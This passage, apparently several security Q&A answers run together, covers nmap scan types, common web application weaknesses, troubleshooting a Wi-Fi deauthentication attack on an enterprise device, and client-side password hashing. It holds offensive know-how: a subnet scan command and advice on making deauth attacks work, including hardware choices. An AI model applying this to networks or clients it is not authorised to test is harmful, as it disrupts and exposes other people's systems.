  error (type 3, code 0, 1, 2, 3, 9, 10, or 13) is received.

In contrast to that, a connect scan does what it says. It's not a half connect but a connect. (Note that a major difference is the fact that a connect is usually seen on the target while a half-connect (SYN scan) is most often undetected.

Your -SN example in contrast performs a so-called null scan. It's called null because it sends packets in which none of three possible flags are set. This goes very deep into TCP implementation and would be a bit hard to explain in all detail in this answer, but here is what nmap.org explains:

  These three scan types [...] [of which the Null scan is one of them]
  exploit a subtle loophole in the TCP RFC to differentiate between open
  and closed ports. Page 65 of RFC 793 says that “if the [destination]
  port state is CLOSED .... an incoming segment not containing a RST
  causes a RST to be sent in response.” Then the next page discusses
  packets sent to open ports without the SYN, RST, or ACK bits set,
  stating that: “you are unlikely to get here, but if you do, drop the
  segment, and return.”

  When scanning systems compliant with this RFC text, any packet not
  containing SYN, RST, or ACK bits will result in a returned RST if the
  port is closed and no response at all if the port is open. As long as
  none of those three bits are included, any combination of the other
  three (FIN, PSH, and URG) are OK.

In other words, while some scans look for positive results, this one will look for negative results.

Now you may wish to consult your firewall's settings to understand how the firewall deals with half connects (i.e. SYN scans) on one hand or Null scans on the other. At least your firewall seems to be doing a good job in hiding the topology behind it.

Assuming that you allowed all ports for the entire subnet through your firewall, try a connect scan:

nmap -sT x.x.x.x/24

If that reports anything more than your three known hosts up, then you have a different problem.


I seriously doubt that any major security breaches occur because of any of the potential security breaches I listed above.

It sounds like you are covering these well known vulnerabilities that are due to insufficient parameter sanitization, so you would expect the rest of the world did so as well.

But, boy, you would be wrong!

  According to the results of a recent survey of 595 U.S.-based IT security practitioners, 65 percent of respondents said their companies had experienced SQL injection attacks that successfully evaded their perimeter defenses in the past 12 months.source

and XSS is by far the most common vulnerability according to The WhiteHat web security report

What are you missing?

File Uploads  I think this 8 basic rules for secure file uploads by SANS is excellent.

Third Party Libraries  Your code could be perfect but rely on insecure third party libraries for all sorts of functionality.  These take work to keep up to date with the latest patches.

Privilege Escalation Most of the applications I test, after their parameters are all well sanitized, haven't paid attention to privilege escalation.  This is a type of vulnerability that automated scanners are not very good at detecting.  For example, many applications populate forms with choices based on the privilege of the user.  A malicious user can add choices to these forms on the client side with great effect unless the server is wise to what the user should be allowed to do.  Some web frameworks control this much better than others.

Logging  Make sure security related events are captured somewhere so that you can know what is going on.  Events to capture:  succesful logins, failed logins, role changes, file uploads, file downloads, database errors, and any more that are important to you.


Deauth can be tricky.  Let's look at some common issues from Aircrack-ng's page on Deauthentication.

  You are physically too far away from the client(s)

How close are you?  Can you get closer?  If not, have you considered a better card?  The Alfa cards are a favorite for this type of work.  See them in action here and here.  By better I mean louder with chipsets having more mature drivers.  I am suggesting the Alfa AWUS051NH.  The TP-Link TL-WDN3200 you are using can work, but it has a history of funny driver issues in Kali Linux.  Just a suggestion.

  Some clients ignore broadcasts deauths

You said you targeting an enterprise device?  Is it made by Cisco?  Does it have have IEEE 802.11w-2009 turned on so that it encrpts it's management frames?  That would defeat your deauth attempts.  However, you did say that you can SEE the deauth ACKs, yes?  So, it looks like it's working...

  Clients may reconnect too fast for you to see that they had been
  disconnected.

And this is it, no?  You ARE deauthing the client and they are reconnecting too fast for you to observe a service interruption.  What did you expect to see?

Hope this helps.


Way to hash passwords client-side without javascript?

You're not going to like any of the options. The reason people disable JavaScript is precisely because of its ability to execute all sorts of instructions; the other options for client-side execution (flash, java applets, silverlight) are certainly going to be disabled by someone who disables JavaScript, because they're even more powerful. Your two requirements are in conflict, so you need to decide which one is more important.